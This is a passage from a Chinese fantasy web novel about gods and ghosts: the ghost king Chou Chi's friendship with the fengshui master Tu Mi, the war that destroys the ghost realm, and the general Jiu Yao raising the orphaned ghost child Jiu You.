一切都结束了。这是他仅剩的所有念想了,他已经来不及再去细想那些恩怨。 其实他好像和谁都没什么恩怨,他只是被一个被捉弄了的战神喜欢上了,随后又被他的老师杀了,然后他重生,成为了神仙——想到这里,温祈突然觉得也不错了。 唯一可惜的地方,就是没有好好的和青袂说一声谢谢,但对于战神,他没有任何遗憾。 妖冶的红莲池重伸出一个白森森的手,它似乎舒展着自己的骨头,看见了从天上坠落下来的白色羽裳人,它迫不及待的张开双臂就要迎接他。 温祈在快要掉进去的时候将自己的灵识注入了手里的娃娃。要有得,必得舍,他还必须将自己的灵识留一些在这个身体中,以便将手里娃娃抛出去。 他在此过程中,唯一需要付出的代价就是以后的日子终将忍受那沉入红莲池的身体中的灵识带给自己那洗仙身脱仙骨的痛苦。 栖零心头一震。 掌管天劫神仙的一生。 无灾无祸也求不到现世安稳。 鬼歧无悔。 (十三) 酒宴被烧,酿酒仙官青袂被罚人间,天罚神仙温祈跃下长恨台,恶鬼束言神魂具散死于天牢,清绝自愿被锁牢狱,战神栖零永失所爱。 刻着“歧”字的木偶不知被谁放在了红莲池旁,它有半边的手垂在了红莲池上,那些白骨就想办法把它拖下去,奈何手太短,鬼歧每天心惊胆战。 十八天后,红莲池边来了个刚死不久的少年把鬼歧捡起来了。他满身是酒,他正是被溺死在酒缸里的温久。 温久把他带到了游人畔,鬼歧很确定他就是青袂,可他不知道青袂发生了什么。他心里急,可他现在只是一个木偶,什么也说不出来,青袂似乎也不打算向他解释什么,只是将他送入轮回。 “我就送你到这儿了。”青袂低头思索片刻,“这也是我最后称你作温祈上仙了,以后便再无重逢之日了。人间,鬼界,上仙都莫要再去神域了——珍重。” 鬼歧默默的看着他,默念:珍重,酿酒官儿。 所以这位上仙后来何来的大喜大悲之兆?只是带着记忆强行来到了红莲池损了仙体,后来又不顾鬼界的怨憎痴恨的去到了游人畔,便已经脏腑具裂,枯木逢难,药石无医之身。 鬼歧自然是不知道青袂所做的这一切,可又是除了他,谁也不知道这一切。 他一步入轮回,正在天牢里的清绝手里拿着的红绳从原来接上的地方又断开了——是清绝自己也害怕,所以才会让栖零的线和一个妖怪纠缠到一起,最后发现,原本的东西,到底还是该属于什么就是什么,斩不断栖零和常盛的线,即使是有一方死了也是如此。而鬼歧与战神再无任何牵连,天上地下,永不相见。 9. 山暝 (一) 大约有那么久以前,天鬼一直闹着别扭不相融。天上的时不时去惹一下地下的,地下的也时不时去招惹一下天上的,偶尔半路上遇见了,地上的人就遭殃了。 凡界的地动,山摇,大旱,洪灾,风啸,都是他们争战留下的人间惨景。 帝君实在是对鬼界无奈,可鬼王仇池也不肯退让,双方都为了面子打了个几百年,直到喜欢呆在凡界的风水师实在是受不了了。 “凡界是越来越不成景象了,你们神鬼打架,反而是凡人遭了殃,风里带着沙,水里带着沙,处处是荒土,你看看你这帝君当的是什么!” 风水师是帝君唯一的亲人了,也是神域为数不多敢这样和帝君说话的人。面对兄长的斥责帝君竟无力反驳,因为他知道风水师喜欢人间比神域更多。 “兄长。”帝君已经有很久没有这样称呼风水师了,“我也不知道该用什么法子了,神域里的人不够,就总会在鬼界挑选生前没有任何节支却命浅的人,那鬼王反而是不高兴了。” “想成为谁都是自己选的,你何苦替他人做了决定?”听他这一称呼,风水师也不忍了。 “谁不想成为神仙?” “难道谁都想成为神仙吗?”风水师反驳他,“成为了神仙又如何?反而是没了凡界做人的逍遥自在,这儿束手束脚的,反正我是不想当神仙的。” “兄长!你为何要说出这样的话?你是在责怪我吗?下面的人嗔痴贪怨,各个明争暗斗,做鬼都不安心。难道你就是想成为这样的——人?” 风水师无奈,“你虽已成为帝君,却和从前一样。” “那你又有什么办法?这样的现状,你能想出什么法子阻止?你就爱你的人间了,只顾你的人间了,你什么时候关心过神域?等人间硝烟四起的时候,你才肯来见我了,你还记得我是你的兄弟吗?”帝君看着下面站的风水师,一下子没忍住,把不好的全说出来了。 风水师同他无言再谈,又要辞别。 “你这次又要去多久?” 风水师离开。 “你什么时候回来!”帝君站起来,朝风水师背影喊道。 风水师还是没有回头,去了望仙台,到了人间。 (二) 这次,神域鬼界又是两败俱伤。 风水师坐在自己的庙里,看着人间这凄惨的景象,心痛不已。 那些跪拜他的人长跪不起,嘴里默念着祈福。 那抱着毫无生气的婴儿的妇女进来时差点四脚朝天。她面色青白,婴儿的眉间连死气都没有了,只有隐隐约约的几团黑的的怨气,一看便是死了许久未葬。 “求求风水师了,保佑这一方土地的平安吧,我不知道你能不能听见,我只是一个女人,我家男人已经被石头压死了,家里没了顶梁柱,我没了奶,只能喂孩子一些泥水了,可我这未满月的孩子受不住,活活被我给喂死了……我也已经受不住了,今日是最后求求你了,这人间如同地狱,你看看吧!快看看吧……已经活不下去。”妇女将自己的脸与婴儿贴在一起,无声哭起来了。 风水师便是在此刻下定的决心。 (三) 鬼王的妻怀孕了,发誓要与神域打到不死不休的仇池主动停战了。 仇池爱妻不仅是鬼鬼皆知,连不少神仙都知道。鬼王夫人爱什么,鬼王就爱什么。鬼夫人自知自己是妇人,从不参与战争之内的话题,虽然她也很喜欢人间的一些小玩意儿,却又从不劝和。 夫人怀孕了,想要吃些什么人间的小食,鬼王出去给她买。 夫人喜欢人间女子穿的衣裙,鬼王拉车驮马的给她带回来。 所以虽然这个鬼王爱打仗,常常闹得民不聊生,可鬼王是个好相公的典范——找相公就找鬼王这样的相公。但男同胞们就不大看好了,说找了鬼王这样的相公,那岂不我也要学着他一样天天打仗? 不过仇池几年前在人间交了一个凡人朋友,仇池平生除了爱夫人,就是爱夫人,然后就是下棋。 他喜欢布局,所以能逢这位棋友,他也是高兴异常,尽管对方是人,他还是乐意结交了这个朋友。 “我夫人怀孕了,她最近想要穿些新衣裳,不能太花,也不能太素了,我逛了大半边天了都没找着,怕夫人在家待久了想我,想回去了又不敢,害怕她说我没买着,使性子。” 朋友乐了,“这不能太花也不能太素。花了太俗,素了又庸,那便去取一朵青山里的红花,华,不妖,定能讨得到你夫人欢喜。” 其实朋友的这张脸和他自己完全不沾边,他是一副淡雅清风的脸,但却说有着哪里不对。他说他从前是一名文官,现在也是一副书生模子,只是有些怯怯诺诺的样子,却透露着几分的仙气飘飘。 “山里的花怎么配得上我夫人?” “山里的花天真烂漫,既野性也爱自由,夫人一定会喜欢的。” 仇池想了想,听了他的意见。 (四) 仇池常常在鬼夫人面前提起朋友,让夫人也对这位朋友产生了极大的兴趣。 自己的相公自己知道,她很清楚仇池不擅交友,也没人愿意同他交友,所以一听他每天提起的这位朋友,鬼夫人就越是迫不及待的想要见他。 “可……可我没告诉他我不是人啊。”仇池有些心虚道,他这样的神态只有鬼夫人见过。 鬼夫人当是什么事,悠哉悠哉捻起一颗葡萄朱唇微启,“要是他真心与你交友,岂会在意你的身份?你就告诉他,你的夫人要见他,而且夫人不仅不是人,还是鬼王的夫人!” “夫人聪慧!” 虽说鬼夫人这话说了当没说一样,但仇池依旧觉得自己夫人聪明又有办法。 所以他一扫之前的阴霾,什么都再顾不上想,当即就听了鬼夫人的话,大大方方的就告诉了朋友自己不是人。 “我不是人,我夫人也不是,而且我夫人想见你。”仇池大大咧咧道。 朋友一听一愣,随后扑哧一笑,“裘兄,你在说什么啊?” 仇池不恼,“我的家就在鬼界,我的确不是人。” 说着,仇池掌心里生出一团绿色的鬼火。照在朋友脸上翠绿发光——这可是鬼王牌正宗鬼火。 “我是鬼王仇池。我不同你拐弯抹角,只是很想交你这个朋友,也没什么坏心,只是夫人想要与你一见,就是因为我把你当朋友。” 这个鬼王还是太年轻了。明明是一代鬼王了,却有着人间少年郎单纯的心思。 “你是鬼王,可我只是凡人,怎么去鬼界?” “我当然会护着你,你成了我的朋友,哪个鬼还敢不识好歹的招惹你?” 朋友冷静道,“容我想想。” (五) 朋友认真仔细的想了半天,就打算和鬼王一起下鬼界了。 “那你之前所说,你夫人怀孕,可是真的?” “当然是真的,那些全部都是真的。” “你真的是鬼界之主?” “当真。你怕我?” “怕甚?在外若说鬼王是我朋友,别人岂不笑话我痴?” 鬼王稍加思索,“这倒也是真的。” (六) 鬼界繁荣不差人间,朋友虽在这里游玩了三天,并且鬼夫人也很喜欢他,但毕竟凡身难弃,鬼界毕竟还不是凡人该来的地方,他身染沼气入体,鬼医来看,也只道只能让他重返人间。 “没想到黄土之下还有这么繁华的闹市。”朋友感慨道,“我还没玩够呢。” “等你养好了身子再来罢。”仇池愁眉苦脸,“我没考虑周全,竟忘了你是凡人这事。” “别说你了,我玩的这几天都忘了本,我都忘记我还是人了。”朋友还有心思逗趣,“那我们可要约定好啰,等你孩儿出生那天,一定要叫上我。” “那是必须的。”仇池笃定。 “话说,你想好取什么名字了吗?”朋友问。 “嗳,这你可别说,我还真就想好了。”仇池说的颇有自豪感,“我同我夫人拜堂之时,就已经想好了。” “是什么?”朋友好奇道。 仇池见他这么好奇,更加自豪了,毕竟他只有这么一个朋友,何况朋友还这么的在意他。 “山高之照,日出而瞑。” “…………”朋友说,“敢问裘兄,可是冥冥之中自有巧数?” “嗯?什么巧不巧数,是瞑目的瞑。” “……”朋友最怕的还是来了,这人间和鬼界的差异可还不是一般的大,可是也难怪仇池会想出瞑目的瞑,在鬼界,此字的确是好寓意。 “山瞑。好听吧?” “确,确如此。”朋友擦了擦自己额角不存在的任何一滴汗,“只是裘兄有所不知,人间的瞑目是死而安息的意思。” “这我也自然知道。可是咱生来就是鬼,瞑目是此生顺遂,平安喜乐之意。”仇池说的句句有理,朋友一时间无法辩驳。 但这是仇池唯一的朋友,朋友的意见,仇池自然也要听他一听,所以还是问了他。 “你当如何?” “我?”朋友指了指自己笑,“既然你是鬼王,那你的儿子就是小鬼王,这鬼界里无白日,若你中意,改为暝色的暝最为合适。” “山暝。”仇池默念。“名字是好名字,只是我仇池的儿子以后不需要当什么鬼王,他想成为什么,就成为什么。” “为何?” “他若是想当,就得是一代鬼明君。若不想当,想成为那普通凡人,就去那人间寻一良妻当一好丈夫、好父亲。但他若是要修炼成神——”仇池一顿,“我无法让他摆脱自己是厉鬼的身份,那他就必须是受万人敬仰之神,日后免受欺辱。” “我不管我与神域的过往是是非非,只要是我的孩儿想,那就必须要的是最好。” 朋友朝他赞同的点头,却未再说一句。 (七) 仇池的兄弟鱼渊是最看不惯仇池交的这一朋友的,原因没别的,只是因为朋友是人罢了。 所以他总是日日夜夜的提醒仇池,要小心。 山暝出生之时,人间的大雪封断了许多路。仇池提前将朋友接来鬼界陪着自己。 仇池紧张的抓着朋友的手,朋友笑他露怯,却还是拍着他的手背安慰他。 鱼渊派鬼兵重守大殿内外,自己也镇守在此,除鬼医的话之外,连仇池说有什么都不管用。 半个时辰后,堪比撕心裂肺的婴啼传遍殿内外,所有鬼兵长舒一口气,随后在地长跪,整个鬼界生灵皆欢皆喜,都在庆祝小鬼王诞生了。 朋友身上一重,仇池竟是不由自主的腿软了一下,等鱼渊出来传讯的时候,仇池才缓慢的颤抖着开口,“是我的山暝出生了。” (八) 山暝周岁那天,鬼界堪比中元之时的繁华热闹,所有的鬼都穿上了红色衣服,像过人间的春节一般。街上全都是红灯笼一般的鬼穿梭,一时间的缤纷弄得眼花缭乱。 鬼夫人害怕自己照顾不好山暝,便差人请了一位奶妈。她不知道怎么抱山暝,就站在奶妈身旁看着,山暝哭了不知道怎么哄山暝,也站在奶妈身旁看着,山暝饿了,她依旧。 尽管山暝满了周岁,这位新晋奶妈仍旧学无所获。 山暝的叔叔鱼渊,在山暝周岁这天前往人间搜罗了人类小孩所有喜欢的玩具吃食。山暝一旦抱在了他怀里,便是要费好一番的功夫才能要回来。 尽管仇池也恨不得把繁华间所有好的东西都给山暝,但他依旧理智尚存,为防止自己的过于溺爱,就远远的看着在鱼渊怀里喜笑颜开的山暝。 “不去抱抱?”朋友和他一起站在稍远地方看着山暝。 “不去。”仇池掩饰的移开目光,“他不喜欢我,我一抱他就闹。” “保不准你是没抱好让他不舒服了。”然后朋友视线一转,又看见了鬼夫人和奶妈也站在一起,鬼夫人也正痴痴的看着山暝。 “夫人,不去抱抱吗?”奶妈问鬼夫人。 “他不喜欢我,我一抱他就闹。”鬼夫人不高兴道。 “是夫人总是太紧张了,总是把小少主抱的太紧,让小少主不熟度了。” 朋友无奈,对这夫妻俩一下子没办法。只有鱼渊宝贝在手,不肯把山暝让给其他人,自己抱着带着山暝看着那些新奇玩意儿。 山暝出生之时背上带着一点朱砂痣,从后面正对着心脏的位置。鬼界被讨伐后,也只有九摇发现了它。 (九) 一切的破碎就发生在这一天。风水师恐怕做鬼都想不到在如此繁华齐聚的一天会被认出来。 他本想着,仇池还未做好当父亲的角色,就像将山暝抛在了空中不敢接,却又害怕摔在地上疼,于是就连抱也不敢抱一下了。 于是他为了消除仇池杂念,便和他一起出来逛逛闹事开导一下,谁料这茫茫人群中,有人高声吼了一声,“是风水师!那个神域霸主的兄弟!” 朋友皆一愣,站在他身旁的仇池显然也没想到,一下子抓住他的手臂深怕他跑了似的。 “你叫什么名字?”仇池问他。这个问题仇池曾经也问过,但朋友总是说,世间难逢一知己,知己无姓名,免后死而牵挂。就这样,仇池每一次都被哄过去了。 朋友垂眸,神情不再挣扎,心里愧疚,竟然会在山暝周岁之时被认出来:“酴釄。” 风水师酴釄。 (十) 无论是天上的神域,地上的凡间,还是地底的鬼界,都只有一个酴釄——那便是风水师,帝君的亲兄。 仇池怀疑过他,他怀疑他不是人,他怀疑他可能会是从天上下来的神仙,但是他不在意,依旧将他视为知己——可是酴釄不行。他是那个常年与自己打着攻坚战的帝君的兄弟,只有风水师不行,他会忍不住杀了他,因为帝君,这里战乱不断。 “你当真是?”仇池问他。 “我何时骗过你?”风水师不答反问。 “你一直在骗我,你没告诉我你是风水师时就已经在骗我了!” 仇池第一次对他发火,风水师无话辩驳。 仇池深看他一眼之后不再同他对视,冷声冷气道,“你好自为之。” 风水师还想说些挽救的话,都已徒劳。仇池只留给他一个决绝的背影。 (十一) 风水师被押入了地牢里无人问津。其实大家心中都是心知肚明,即便是神域帝君的兄弟被关押在此,也没人敢去为难他。 风水师维持凡身来到鬼界本就与赴死无异,况且他多年在凡间游走,来到的是鬼界最深的大殿,他身染沼气并不假,已是身患重病也不假。 仇池抱着山暝,手里摇晃着拨浪鼓,这拨浪鼓还是风水师送的,等他意识到的时候,手上的动作顿住,山暝的白净的小手在空中一直抓空,见仇池也不理他,委屈的放声大哭。 仇池如梦方醒,站起身来把他抱在怀里连连哄着,山暝却哄不住了,像是失去什么的一直哭着。 鬼夫人闻声而来,见此情就叫奶妈来抱走了山暝,可一会儿之后奶妈也无法了,又回来了,山暝依旧在哭,连声音都已经带着沙哑。 仇池被吵的也不烦,沉默的把拨浪鼓给了山暝,山暝看清后拿走了拨浪鼓,不再哭了,奶妈才又将他带走。 鬼夫人牵着仇池的手坐在床沿,手心放在他的手背,“大王,你当初害怕风水师在意你的鬼王身份,可如今,他不在意,你却迈不过去了。” “可他是一开始就知道的,是他骗了我,他一定是抱着目的接近我。指不定就是听了那帝君的话,想方设法的想要打赢这场仗。”仇池想不通,虽然心中有火,可面对鬼夫人,一点火焰都发不出来。 “他没害你,同你是棋友,你们有许多的共同话题,就算是带着目的,可他现在有害你分毫,害的鬼界分毫吗?你当真一句休战,神域就真的会乖乖不打了吗?他是帝君的兄长,若无他在其中说辞,我们又怎会带着山暝安逸至今?” 鬼夫人一连串的问题让仇池脑里发翁,想要辩驳什么却又哑口无言。 “就连山暝对他送的东西都爱不释手……我都查看过了,他送的东西上面,大多都附着若有若无的灵气,那灵气珍贵,是山花草木特有的,不然山暝也不会一直拿着。” 仇池更加沉默了,“那夫人怎么想?” “让他离开吧,回到天上去,地上去 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风水师靠在墙壁上,像是交代一般的开口,“我确实是带着探究的目的接近你大哥的,但我与你大哥是真心交友,你大哥也确实是在这世间再难遇的棋友。我就是想看看,与神域征战多年的鬼王到底是什么样的。”风水师长叹一口气,“可我怎么想也没想到会是这样的。” “若非你们这些神仙自作主张的提走游人畔的孤鬼去往神域,我大哥也不会向你们讨伐多年。”鱼渊从怀里掏出什么东西。 风水师闭上眼,看来是接受了自己的结局。 可再之后,他却是听见了一阵鼓响。 “这是我趁山暝睡着时拿走的,还给你了。”鱼渊把拨浪鼓扔给了风水师,“你带着走吧。我大哥惜你这个朋友,我也深知大哥有多看重你,若我今日私自动刑杀了你,我大哥恐怕此生都不再认我这个兄弟了。” 鱼渊的表情有些悲怆,他打开了地牢的大门,“我还没后悔,你现在就走吧,免得鬼兵回来,我也不会拦着他们。” 风水师艰难的起身,又弯腰捡起了拨浪鼓,像是捡起了他与鬼王最后的情谊,“谢谢你,给我留个一个念想。” 鱼渊动了动嘴唇,最后还是只说可一句,“你走吧。” (十三) 风水师并没有回到天上,而是一直都藏在鬼界,他已经没有多余的力气再去走更远的路了,身上的灵气正在涣散,没想到自己在人间游玩的这些年岁里,竟已经被自己消耗至此。 而神域的帝君知道自己的兄长被鬼界掳了,即刻下令,与鬼界重新开战。 自从生了山暝,鬼夫人已经不再是当初巾帼不让须眉的鬼夫人,她已深患病根,夜夜心悸不断,整日为山暝而担惊受怕,深怕山暝在任何一个阶段出来岔子。 一向爱妻如命,视子如命的仇池亦是如此。神域攻下来那天,山暝失踪了。 山暝失踪,整个鬼界不攻自破,所有的鬼都在寻找山暝。鬼夫人瞬间一蹶不振,心悸大作,仇池两不顾,大殿就这样被神域轻而易举的拿下了。 常盛带领着天兵天将与仇池对峙。 “鬼王仇池,风水师现在何处?” 仇池不屑,“我怎会知风水师?” “数日前,你将风水师关押,想和神域谈什么条件?” “条件?我没有任何条件。只是你们这些住在天上就自以为高高在上的神仙一直自以为是的将我游人畔的孤魂野鬼抓到天上去,就不问问我鬼王的意见吗?” “既是孤魂与野鬼,那又何妨?”常盛居高临下的看着他,“交出风水师,神域方可撤回这百里内的天兵天将。” “我都已经说了,我不知道什么风水师!这风水师有多大的面子要让我仇池知道?而你们神域又有多大的面儿来征伐我的地盘,我鬼界也岂是你说来就来,说走就走的地方?你们既然敢来,就该怎么做好赴死的准备。”仇池冷笑,“不过我鬼界的游人畔,不会欢迎今日在场的各位。” 常盛一脸淡然,显然是不打算再与他争出个什么余地来,“那就不再与鬼王多费唇舌之肌了。” 神鬼的这一战,又是打的本就荒凉的鬼界更是寸草不生。鬼夫人中了一剑,原本还要多分一心给寻找山暝的仇池瞬间杀红了眼,势必要与常盛分出个你死我活。 而变故就是在此发生的。 风水师怀里抱着摇着拨浪鼓的山暝站在大殿门口。 已经失去了理智的仇池哪里还分辨的出什么是青红,什么是皂白?他只知道自己的儿子现在正在自己仇人的怀中。于是他奋不顾身的冲向了风水师,带着的是与帝君多年来所积攒的恩怨。 常盛一看风头不对,急忙上前阻止,鱼渊将其挡下纠缠牵制一旁。 风水师就站在原地,就这样看着仇池向自己冲来。怀里的山暝认出了他,却害怕他的神情,拨浪鼓不得顾,掉在了地上,抱住了风水师。 伴随着拨浪鼓最后的一声撞击,风水师护住了山暝,拼着这一副残体接下了仇池这要命的一击。 (十四) 山暝的哭声与他出生之时的撕心裂肺无差,带着的悲泣足以撼动天地。 正在大殿里守着风水师明灯的帝君心头一恸,后退之际,明灯骤灭,没有带着任何一缕青烟,从此了无痕迹。 (十五) 风水师就这样没有带走任何仇恨的离开了。 那日战乱,是山暝与奶妈走散后,风水师找到了山暝要将他带回家,心里有万分之一的猜想这可能会是自己停留在天地间的最后一刻,未曾想,竟真是如此。 他这一趟,如当初跟着鬼王一起下鬼界一样,带着与赴死无异的决心。 因为多年的神鬼战乱,风水师日夜都要消耗自己的灵气去修补人间的残垣断壁,调和风调雨顺,纵使凡人的香火供着他,也补不齐他这消耗的一世。 (十六) 神域的帝君天颜震怒,下令九摇带领众将,即刻剿灭鬼界,讨伐鬼王仇池。 就是今日,鬼夫人轰世,风水师神魂具灭,偌大的大殿中,天兵围剿,仇池消除了山暝的记忆。 人的一生因为太短而会在老去的时候将一切的渐渐遗忘,而鬼的一世太长,记住的太多,他们从睁眼开始就已经在探索这世间,等山暝十年百年后,仇池不希望他还能记得,尽管这百年来对鬼来说还太短。 山暝哭的仇池心肝颤的巨疼。也许这小鬼王已经意识到了什么,他意识到平日里对自己和蔼可亲的风水师离开了,意识到自己的母亲不在了,唯一能做的就是拼尽自己的瘦弱发出声嘶力竭的哭声。 山暝额间微光,声音开始变得微弱,那双红肿的眼渐渐变得和出生时一样干净,却多了几分呆滞。 仇池将他的记忆汇于指尖,即刻消散于虚无,山暝此后不可能会再有关于前往的任何记忆。 仇池将山暝交给奶妈,“本王要与夫人生同衾,死同椁。天灾降鬼界,你现在立刻带着山暝离开这里,拿命也要护着山暝。他是本王唯一的儿子,也是最疼爱的儿子,若你也有机会活着,就告诉他……”仇池顿住。 奶妈目光坚定的看着鬼王,已是接受了自己的使命。 “此仇不必报,本王是心甘情愿。百年之后,他若想当鬼王,重振鬼界,必是明君,不再与神域斗争相连。若是想当凡人,前往人间,当一个有所作为的大丈夫,可若是想修炼神仙,就必受万人敬仰。”仇池温柔的抚摸山暝熟睡的面庞,“本王的夫人在哪儿,本王就在哪儿,所以山暝就拜托给你了。” 最后仇池对山暝温柔道,“为父并不是不够疼你爱你,只是你阿娘怕孤独得很,为父得去陪着你娘亲,所以只能陪着你长这么大了。以后得日子虽难过,但今日的回忆不会灼痛你半分。” 言至于此,未再给予一眼,仇池狠心离去。 (十七) 后来——后来仇池被挫骨扬灰,鬼夫人孤身赴往黄泉,风水师与鬼界生灵的血汇聚成了红莲池,奶妈终究还是为了救山暝将自己的血肉磨成沫。而九摇找到了山暝,就是从那时起,天地间再也没有鬼王仇池,也不会再有人知道山暝。 九幽没有活成仇池希望的任何样子。他做人时溺死于十八岁,做鬼时被弃置千年,成神之时因为厉鬼受万人唾骂。只是孩提时,山暝已经死在了奶妈的血沫中。 天地间,无人再提小鬼王。 10. 久久歌一曲(一) (一) 帝君将九幽交给了九摇。 怀里的孩提还没有哭够,九摇一路把他抱回了大殿,脚下已是生风,却还是引来不少神仙的注目。 九摇以为是自己一身戎装硌着他了,一回去就换了套衣裳,身上显现的无一处不是陈年的旧疤。 可九幽还在哭,只是微弱些了,声音里甚至是略带着些沙哑了。 九摇在殿内上下寻找九幽可以吃的东西,把九幽搁置在了一旁,未曾想九幽就滚落下来,声音瞬间就蔫了下去,九摇手忙脚乱的把他抱起来哄着。 “九摇可在?”是常盛的声音。 九摇下意识的就要将九幽藏起来,可还没来得及,常盛就已经出现在自己身后了。 常盛一看见九幽,果然皱眉,“你还是把他带回来了。” 九摇为难的笑了,退后两步,与常盛保持距离,“对啊,难不成将他一人扔在那里吗?” “他本就不该活。”常盛毫不客气道,“鬼界现在已是残垣断壁,仇池不复存在,他是鬼王唯一之后,也没有任何的价值了。” “虽说鬼界现在已是一片废墟,他回不了家了,但我现在把他带回来,我这儿就是他的家。既然让他活下来了,自然就要好好的重新活。” “你当真是古道热肠。这小鬼,说不定你将来把他抚养成人,最后还不是要反咬一口!”常盛的戎装还未褪下,话里间说的不留丝毫的情面,带着些煞气,左右都是九幽本不该留,这一切都是出于九摇一时的同情与怜爱。 “左右都是命,你太固执了。”九摇摇头,“是我要抚养他的,我自然就要好好教导他。日后,他若是展露了一丝从鬼界带来的邪性,我绝不会手下留情。” “希望你那时还记得你此时此刻的所言所语。”常盛一哂。 大殿外又传来了少年稚嫩的声音。 “请问九摇将军,我的老师可在您那儿?” “你那宝贝学生来找你,你也别在我这儿了。”九摇笑他。 常盛半眯着眼,大概也是嫌九幽吵了,“你好自为之。他这样可别被自己给哭岔气了,琅郎最爱收集那些人间的玩意儿,你带着他去,别再让他这样吵的心烦。” “好。”九摇温和一笑,知道常盛一直都是嘴硬心软的性子。 (二) 琅郎的茶盏刚落桌,就听见门外那令他烦躁的孩提哭闹,这是他最讨厌的声音。 刚想亲自去看一眼是谁,九摇就已经不请自入的抱着九幽进来了。 琅郎意料之外的看着九摇,“怎么九摇将军刚打完一场胜仗,反而带起孩子来了?”旋即又道,“说吧,带着一孩子来找我,肯定没什么好事。” “常盛告诉我,你这儿有许多人间的小玩意儿。我这小孩一直哭不停,所以就想带他来到你这儿讨些东西。” 琅郎一翻白眼,“你不是常年在人间鬼界,想弄些什么小玩意儿来哄小孩都找不到?” “我前往那些地方都是打仗,那些根本来不及,所以今日才登门而来。”九摇有些不确定道,“我也实在是不知道该怎么哄他了,你也不想他一直吵着吧?” 九摇现在就害怕琅郎来一句“爱怎么哭怎么哭”,谁料,下一秒琅郎就道,“你确定他当真不是因为你身上太苦了而被熏着了?罢了,这儿要是他没喜欢的,看不上,我也没办法,到时候你就把他带远些,别让我再听见。” 九摇身上的苦味无法消散,这是他常年征战留下的“病根”。经历了太多苦楚的人,身上都是苦的。 (三) 九幽没有哭了,他手里拿着拨浪鼓,没有再哭了。 九摇总算是松了一口气,他刚放下九幽,想离他远些,没想到只要是放下了九幽,九幽哭得更厉害了。 “琅郎说我身上苦,你可是因为不喜欢才一直哭的?” 九摇看着他的面庞,仔细分辨着,想要找出他和鬼王的一些相似之处,看了半天,喃喃道,“说不定养着养着,就和我长一样了呢……” 九幽可是无意识的摇晃着拨浪鼓,睡意越来越浓。他的眼里纯粹如纸,未染任何世俗鬼气,还是刚出生那时的样子,咿咿呀呀的……九摇一愣,才发觉九幽似乎还不会说话,只会一直用哭闹来表达自己的情绪,这样算来,连人间的两岁孩童都应该会说话会走路了才对。 等九摇发觉时才知,鬼王当真是好决心。 九摇给九幽沐浴时,本以为属于九幽的金锁会被挂在九幽的脖子上,可最后却什么都没有找到,唯一能证明九幽身份的金锁并不在九幽身上。 九摇侥幸的想着,可能是在战争中遗失了,但最好的结果就是随着鬼界淌着的血永远沉入红莲池底。 九幽轻轻捏住九摇的食指,可能是在朦胧之中也知道了他对他的好,将军更是被这小小力量抓的心都化了,这可比战场上的战戟还要致命。 (四) 因为从前总与鬼界开战,所以九摇征战四方,大殿时常冷清,就连那常盛的大殿都有他的学生栖零替他照料打扫,而九摇干脆连家都不回了。 可今时不同往日,现在鬼界一蹶不振,打了半边天仗的九摇终于可以歇息了,于是他就把全部的心思挖空了的放在九摇身上。 九幽学会的第一个词就是师尊,每天奶奶的叫一声师尊,九摇就跟得了宝似的把九幽抱起来。 虽然一开始的照料艰难。比如九幽哭的是时候他不知道该给九幽什么,九幽难受的时候他找不着九幽到底是哪里疼,这往往总是使他焦头烂额,但总归是功夫不负有心神,把九幽教的会说话了。 “师尊,师尊。”九幽坐在桌子上看着对面的九摇,奶声奶气的叫唤,伤痕累累的拨浪鼓上面全是他咬出来的齿痕。 九摇正在把从青君那儿要来的花种子种下,他终于觉得这个大殿该多些生气了。 “这个呢,是种子,只要九幽每天按时给它浇水,它就可以变成花了。”九摇把他抱下来,笑起来时那浅浅的梨涡若隐若现。牵着他看他踮着脚尖仰着头看着盆栽。 “什么样子的花?” “九幽想要什么样子的花?”九摇蹲下问他,捏了捏他肉嘟嘟的脸。 九幽却出奇的看着他,那大而童真的眼睛直直的看到了九摇心里去,一时间竟有些不自在的想要闪避。 “师尊这样好看的花。” 九摇失笑,“师尊不是花,师尊是神。” 九幽认真而专注的再次确定道,“师尊是花,不是神。” (五) 现在谁都知道九罗将军府里来了个长的丑陋异常的小仙童。那些仙子每天挤破头的想要看看。因为听常盛将军说,这孩子长着鬼界畸形的犄角,连手也是爪子,那尖牙只要轻轻一咬就可以咬破人的咽喉。 九摇给九幽梳着发髻,对外面那些是是非非充耳不闻。 虽然常盛总在外说九幽是长的如何的丑陋,可是常盛的学生栖零却和九幽成为了要好的朋友,每天都背着自己的老师从大殿的偏门偷溜进来。 “师尊,那花儿不开。”九幽失落道。 九摇也看向盆栽。它是大殿里的第三生命,现在正在水快要溢出来的盆栽里苦苦求着生存。 显然这师徒二人都没意识到这一点,依旧是愁眉苦脸的看着它。 “等改日我去找青君要个说法,怎的给我这样一个不开花的种子。” 九幽还是不高兴,垂头丧气的模样让九摇又回到了不知道该怎么办的时候。 “它会开花的,只不过不是现在。神域的花不同,况且这又是一株酿酒花,娇怪些也没什么。”九摇摸着他的脑袋轻声道。 “九幽,九幽……” “栖零又来找你了,别愁眉苦脸了。”九摇哄道,第一次感谢栖零这时候及时的出现。 九幽抬头,果然注意力一下子就不在那可怜的花儿上了。这也是九摇最无奈也是最头疼的一点,因为九幽总是无法专注的去看护一点,不够专一,要是以后养出了个什么多情的性子,九摇都不知道该怎么办才好。 不等九摇苦恼,九幽已经高高兴兴的去找栖零玩了。 (六) “我老师总是给那些仙子说你长得丑,你家师尊都不替你说说话,你不委屈吗?” “嗯?我委屈什么啊?”九幽奇怪道。 “你的师尊都不护着你。” “我的师尊一直护着我呀。”九幽还是很奇怪,“我的师尊说我是长的最好看的仙子,那些人见不着我就只会乱说。只要我师尊说我长得好看,又与他们何干?” 栖零叹气,“我问过老师,问他为什么总说你丑。” “为什么?” 栖零摩挲自己的下巴,“他说是因为九摇将军也丑,可我寻思着九摇将军也不丑啊……” 不等栖零说完,九幽噌的一下站起来,把栖零吓了一跳,“我师尊何处丑?我师尊明明比你的老师还要好看,这神域里都是些有眼无珠的老神仙老眼昏花了吗?” “……”有眼无珠?老眼昏花?“不是真的说丑啦,你自己不都说,好不好看自己知道不就行了吗?” 九幽这才犹豫的重新坐下。 栖零知道九幽听不得谁说一句九摇的不好,可到如今,能陪他这样说话的也只有栖零罢了。栖零凑近他,闻了闻他的衣 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在神域里,个个神仙都是天人之姿,虽然有长得丑的,但从常盛那儿听说的九幽长的特丑,是个神都想来瞧一眼凑个热闹看看到底有多丑。 九罗将军府收的小徒弟他们不在乎是谁,他们只在乎美丑。 “你师尊这么早就急着出去,那我们也要早些回来才行。”栖零对他说道。 “好。”九幽满口答应,“我们去哪儿?” “去天街。” “天街?” 